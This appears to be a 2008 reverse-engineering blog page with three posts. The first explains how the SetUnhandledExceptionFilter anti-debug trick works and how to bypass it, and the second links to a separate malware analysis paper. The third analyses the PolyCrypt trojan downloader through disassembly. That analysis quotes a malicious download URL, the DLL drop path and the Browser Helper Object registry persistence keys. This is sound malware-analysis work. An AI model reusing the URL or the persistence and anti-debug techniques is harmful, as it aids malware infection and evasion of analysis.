[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Target.exe]
"GlobalFlag"=""



Regards,
Giuseppe 'Evilcry' Bonfa'
Registered User
Views 1271 Comments 15 evilcry is offline
Old

Inside SetUnhandledExceptionFilter

Posted 07-26-2008 at 03:44 AM by evilcry

Hi,

SetUnhandledExceptionFilter()
is frequently used as Anti Debug Trick, especially in Malware Applications. Around here there are various plugins for Olly that allows the Reverser to trasparently debug this kind of protection, so there is not a real necessity add other words about the mere practical part of trick overcoming.

Due to the fact that today, too many young reversers uses a ton of plugins anti - anti - xxx without knowing how internally they works, I decided to expose here a little summary of SetUnhandledExceptionFilter Internal characteristics.

First of all, what SetUnhandledExceptionFilter is? according to MSDN documentation:

Enables an application to supersede the top-level exception handler of each thread of a process.

After calling this function, if an exception occurs in a process that is not being debugged, and the exception makes it to the unhandled exception filter, that filter will call the exception filter function specified by the lpTopLevelExceptionFilter parameter.


And this is the Syntax:

Code:
LPTOP_LEVEL_EXCEPTION_FILTER WINAPI SetUnhandledExceptionFilter(
__in  LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);
lpTopLevelExceptionFilter is a pointer to top-level exception filter function that will be called whenever the UnhandledExceptionFilter function gets control, and the process is not being debugged. A value of NULL for this parameter specifies default handling within UnhandledExceptionFilter.

Usually, in absence of an UnhandledExceptionFilter the topmost handler called when an uncatched exception occours, is the default one provided by Windows Itself, the classical MessageBox that advices the user that an Unhandled Exception has occured.

But Windows allow programs to use custom Handlers for UnhandledException. The core of the trick is here, if the application is NOT debugged, the application is able to call the Custom Handler, but if the application IS debugged the Custom Handler will be never called.

The possibility of cognitive differentiation make obviously able the target application to apply a series of countemeasures against debugging, from detection to code hidding.

Just remember that due to the architecture of Windows Exception Handling, in every case is called UnhlandledExceptionFilter() function, and this will our point of attack (for anti - anti dbg trick).

This is the general inner meccanism of SetUnhandledExceptionFilter(), going more deep we observe the call stack of the first thread of any Win32 application, we can see that execution in every case is reported to BaseProcess, here the pseudo definition:

Code:
VOID BaseProcessStart( PPROCESS_START_ROUTINE pfnStartAddr )
{
    __try
    {
        ExitThread( (pfnStartAddr)() );
    }
    __except( UnhandledExceptionFilter( GetExceptionInformation()) )
    {
        ExitProcess( GetExceptionCode() );
    }
}
The same thing happens for threads, by referencing to BaseThreadStart:

Code:
VOID BaseThreadStart( PTHREAD_START_ROUTINE pfnStartAddr, PVOID pParam )
{
    __try
    {
        ExitThread( (pfnStartAddr)(pParam) );
    }
    __except( UnhandledExceptionFilter(GetExceptionInformation()) )
    {
        ExitProcess( GetExceptionCode() );
    }
}
All that happens inside BaseProcessStart() and BaseThreadStart() for what previously said, will be passed to the UnhandledExceptionFilter().

It’s now time to see what really is UnhandledExceptionFilter(), according to MSDN:

An application-defined function that passes unhandled exceptions to the debugger, if the process is being debugged. Otherwise, it optionally displays an Application Error message box and causes the exception handler to be executed. This function can be called only from within the filter expression of an exception handler.

Syntax:


Code:
LONG WINAPI UnhandledExceptionFilter(
  __in  struct _EXCEPTION_POINTERS *ExceptionInfo
);
Became clear that UnhandledExceptionFilter represents the last choise for processing unhandled exceptions, so the Check Debugger Presence surely is located inside this function, let’s see a simplified version of this function:

Code:
LONG UnhandledExceptionFilter( EXCEPTION_POINTERS* pep )
{
    DWORD rv;

    EXCEPTION_RECORD* per = pep->ExceptionRecord;

    if( ( per->ExceptionCode == EXCEPTION_ACCESS_VIOLATION ) &&
         ( per->ExceptionInformation[0] != 0 ) )
    {
        rv = BasepCheckForReadOnlyResource( per->ExceptionInformation[1] );

        if( rv == EXCEPTION_CONTINUE_EXECUTION )
            return EXCEPTION_CONTINUE_EXECUTION;
    }

    DWORD DebugPort = 0;

    rv = NtQueryInformationProcess( GetCurrentProcess(), ProcessDebugPort,
                                    &DebugPort, sizeof( DebugPort ), 0 );

    if( ( rv >= 0 ) && ( DebugPort != 0 ) )
    {
        // Yes, it is -> Pass exception to the debugger
        return EXCEPTION_CONTINUE_SEARCH;
    }

    // Is custom filter for unhandled exceptions registered ?

    if( BasepCurrentTopLevelFilter != 0 )
    {
        // Yes, it is -> Call the custom filter

        rv = (BasepCurrentTopLevelFilter)(pep);

        if( rv == EXCEPTION_EXECUTE_HANDLER )
            return EXCEPTION_EXECUTE_HANDLER;

        if( rv == EXCEPTION_CONTINUE_EXECUTION )
            return EXCEPTION_CONTINUE_EXECUTION;
    }   

}
As you can see, inside UnhandledExceptionFilter() is called NtQueryInformationProcess() that has as first parameter our process and next DebugPort, this is done to know if the process is debugged.

All that we have to do to obtain an apparently undebugged process is to modify the first parameter (last pushed at debugging time), in other words we have to change the retur value of GetCurrentProcess() from 0xFFFFFFFF to 0×00000000.

So remember, when you have to overcome a SetUnhandledExceptionFilter() just put a Breakpoint for UnhandledExceptionFilter() and go inside this function to modify the previously exposed parameter

Thanks to Oleg Starodumov for pseudocodes

See you to the next blog post..
Registered User
Views 1829 Comments 5 evilcry is offline
Old

CartellaUnicaTasse.exe Italian Malware RCE Analysis

Posted 07-15-2008 at 10:25 AM by evilcry

Hi,
I've just released a paper into my website about the RCE Analysis of an italian Downloader

Paper can be reached here:

http://evilcry.altervista.org/tuts/Mw/CartellaUnicaTasse.pdf

if this link does not works, just reach it from the home of my website.

Regards,
Evilcry
Registered User
Views 902 Comments 5 evilcry is offline
Old

Downloader.Win32.Small or Win32/PolyCrypt Reversing

Posted 05-16-2008 at 09:03 AM by evilcry

Hi,

Here the analysis of Trojan-Downloader.Win32.Small.ihj and its msstub.dll actually reported as malware but not fully documented.

Introduction

MD5 Hash Signature:5f9e38abd1c20ba44ff07903489bac10
Identification: AVG Antivirus -> Win32/PolyCrypt
Kaspersky -> Trojan-Downloader.Win32.Small.ihj

Format: EXE and Embedded DLLs


The Essay


PolyCrypt is spreaded through infected Websites by using Exploits or every other form of abusive Download mechanism.
PolyCrypt is weakly Packer Protected, so with VMUnpack we can suddenly obtain the full working unpacked copy.

Let's trace from the EP:

00401000 mov eax, 104h
00401005 mov edx, offset dword_403033
0040100A push eax
0040100B inc ecx
0040100C push edx
0040100D push offset loc_4013BE ;points to jmp GetSystemDirectoryA
00401012 call sub_4012BD ;Call GetSystemDirectoryA

PolyCrypt uses an basilar method for API call, just to deceit basical fast analysis, the call sub_4012BD access directly the jump table at the entry passed as parameter.


0040101B push offset aMsstub_dll ; "\\msstub.dll"
00401020 push offset dword_403033 ;System Directory
00401025 push offset loc_4013E2
0040102A call sub_4012BD ;lstrcat
0040102F pop dword_402027
00401035 pop ebx
00401036 push ebx
00401037 push 80h
0040103C push 2
0040103E push ebx
0040103F push 1
00401041 push 40000000h
00401046 push offset dword_403033 ;Full Path
0040104B push offset CreateFileA
00401050 call sub_4012BD
00401060 mov edx, esp
00401062 push ebx
00401063 push edx
00401064 push 1000h
00401069 push offset dword_402027
0040106E push dword_403027
00401074 push offset WriteFile
00401079 call sub_4012BD
0040107E pop ecx
0040107F push dword_403027

00401085 push offset CloseHandle
0040108A call sub_4012BD

This piece of code builds the a string path c:\windows\system32\msstub.dll and next creates this DLL (msstub.dll) and fills if it with embedded data.

0040108F push offset aDb5825eaB434C6 ; "{DB5825EA-B434-C69E-8E2D-81387140521A}"
00401094 push offset aClsid ; "CLSID\\"
00401099 push offset byte_403137
0040109E push offset wsprintfA
004010A3 call sub_4012BD
004010A8 add esp, 0Ch
004010AB push eax
004010AC push esp
004010AD push offset dword_40302F
004010B2 push ebx
004010B3 push 3
004010B5 push 0
004010B7 push ebx
004010B8 push ebx
004010B9 push offset byte_403137 ; “CLSID\\{DB5825EA..”
004010BE push 80000000h
004010C3 push offset RegCreateKeyExA

To overcome basical detecting attemps it's used the CLSID Splitting, the complete string is CLSID\\{DB5825EA-B434-C69E-8E2D-
81387140521A}
, obviously next operation
is to create this Registry Key Entry.

004010D6 push eax
004010D7 push esp
004010D8 push offset dword_40302B
004010DD push ebx
004010DE push 2
004010E0 push 0
004010E2 push ebx
004010E3 push ebx
004010E4 push offset aInprocserver32 ; "InprocServer32"
004010E9 push dword_40302F
004010EF push offset RegCreateKeyExA
00401111 inc eax
00401112 push eax
00401113 push offset aApartment ; "Apartment"
00401118 push 1
0040111A push ebx
0040111B push offset aThreadingmodel ; "ThreadingModel"
00401120 push dword_40302B
00401126 push offset RegSetValueExA
0040112B call sub_4012BD
0040113A inc eax
0040113B push eax
0040113C push offset dword_403033
00401141 push 1
00401143 push ebx
00401144 push ebx
00401145 push dword_40302B
0040114B call RegSetValueExA
00401150 push dword_40302B
00401156 call RegCloseKey


This piece of code creates into the previously builded CLSID the following entry:


HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\
{CLSID}\InprocServer32 = iexplorer.exe
\ThreadingModel = Apartment (which is single threaded)


In other words Registers a 32-bit in-process server and specifies the threading model of the apartment the server can run in, in our case the InprocServer32 is Internet Explorer.

So the malicious dll (msstub.dll) could be called by IE, indeed the next operation accomplished by PolyCrypt is to Open IE with ShellExecuteA(), finally builds a .bat script file, called dmfg.bat to delete the Executable..

PolyCrypt is completly Reversed, let's see now what happens into msstub.dll

msstub.dll Reversing

The first fast way to analyze this dll is with LoadDll.exe of OllyDbg, but during the analysis
is important to change some conditional jump that checks if the dll was called by IE.

003567C1 MOV AL,BYTE PTR DS:[EDI] ;EDI is the raw address table
003567C3 INC EDI
003567C4 OR AL,AL
003567C6 JE SHORT msstub.003567A4
003567C8 MOV ECX,EDI
003567CA PUSH EDI ;HeapAlloc
003567CB DEC EAX
003567CC REPNE SCAS BYTE PTR ES:[EDI]
003567CE PUSH EBP
003567CF CALL DWORD PTR DS:[ESI+6068] ;GetProcAddress("HeapAlloc")
003567D5 OR EAX,EAX
003567D7 JE SHORT msstub.003567E0 ;Address == NULL Jump Out
003567D9 MOV DWORD PTR DS:[EBX],EAX ;EBX is the address function table
003567DB ADD EBX,4 ;next address
003567DE JMP SHORT msstub.003567C1

This piece of code builds an Address Function Table, this is a method of indirect API Importing, just to make a bit harder Disasm Analysis, here a list of Imported APIs:

HeapAlloc, GetCurrentProcessId, HeapFree, DeleteFileA,
HeapCreate, GetLastError, CreateEvent, HeapRealloc, GetTempPathA,
GetVersion, GlobalAlloc, ExitProcess, CreateFile, HeapDestroy,
CreateThread, CloseHandle, HeapSize, GetModuleFilename, LoadLibrary,
Sleep, VirtualFree, WriteFile, lstrcat, lstrcmp, lstrcpy, GlobalFree,
wsprintf, InternetCloseHandle, HttpSendRequest, HttpQueryInfoA.
HttpOpenRequest, InternetSetOption, TnternetReadFile,
InternetQueryDataAvailable InternetOpenA, InternetBadConnectionState, InternetCrackUrlA, InternetConnectA


It's important to say that this little dll works entirely with the Heap Memory,
everithing is runtime decrypted and pushed into heap.

After a decryption routine we obtain some intersting strings:

http://redmed.ru/images/stories/Sport002/fiax.php

cvesw.dll

CLSID\{DB500391040 825EA-B434-C69E-8E2D-81387140521A}


SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\

\InprocServer32


Cause is a Downloader, it's easy to understand that the URL contains malicious code that will be used to build csesw.dll and finally acts in the same way that was used to load msstub.dll, by creating a CLSID Registry Key entry (CLSID\{DB500391040 825EA-B434-C69E-8E2D-81387140521A}) with an InprocServer32 procedure..

As should be clear by analysing deadly this dll no traces of these operations could be founded, so let's move to a debug approach.

The core algorithm of the Downloader is obtained by the decryption of a portion of data that is pushed into Heap, so execution flows in the Heap..cause the code is long I've reported only the significants pieces of code..

00390030 MOV ECX,390581 ; JMP to kernel32.GetModuleFileNameA
0039003 CALL 00390115 ; GetModuleFileNameA
..
00390045 PUSH EAX
00390046 PUSH 390108 ; ASCII "iexplore.exe"
0039004B MOV ECX,3905A5 ; JMP to kernel32.lstrcmpiA
00390050 CALL 00390115
..
00390055 TEST EAX,EAX
00390057 JNZ SHORT 003900C1 ;Jump out
00390059 PUSH 104
0039005E PUSH 3912E3
00390063 PUSH DWORD PTR SS:[EBP+8]
00390066 CALL 00390581 ; JMP to kernel32.GetModuleFileNameA
0039006B MOV ECX,390521 ; JMP to kernel32.GetCurrentProcessId
00390070 CALL 00390115
00390075 PUSH EAX
00390076 PUSH 3910CD ; ASCII "ntdfgz_%u" ;ntdfgz_PID
..
003900A8 JE SHORT 003900C8
003900AA PUSH EBX
003900AB PUSH ESP
003900AC PUSH EBX
003900AD PUSH EBX
003900AE PUSH 39011C ;Thread Procedure
003900B3 PUSH EBX
003900B4 PUSH EBX
003900B5 CALL 0039056F ; JMP to kernel32.CreateThread

If the dll is not loaded through IE, execution is aborted, else is opened a new thread procedure at address 0039011C, which is the Downloader releated part..

00390144 PUSH DWORD PTR SS:[EBP-4]
00390147 PUSH 391000 ; "http://redmed.ru/images/stories/Sport002/fiax.php"...
Registered User
Views 1420 Comments 0 evilcry is offline

Just in case...Please update your bookmarks to http://woodmann.cjb.net
Direct link : http://71.6.196.237/forum/

Some Useful Places
Fravia's Searchlores
Fravia's Original Reversing Site
Krobars Collection of tutorials
OllyStuph OllyDbg Resources
A complete searchable archive of the forum in .CHM format is available (updated Jan 3, 2009)
here (25.8 Mb zip)
Please do not ask for cracks, instead read this.

Started 10 May 1999

All times are GMT -5. The time now is 09:28 AM.


Powered by vBulletin® Version 3.8.2
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.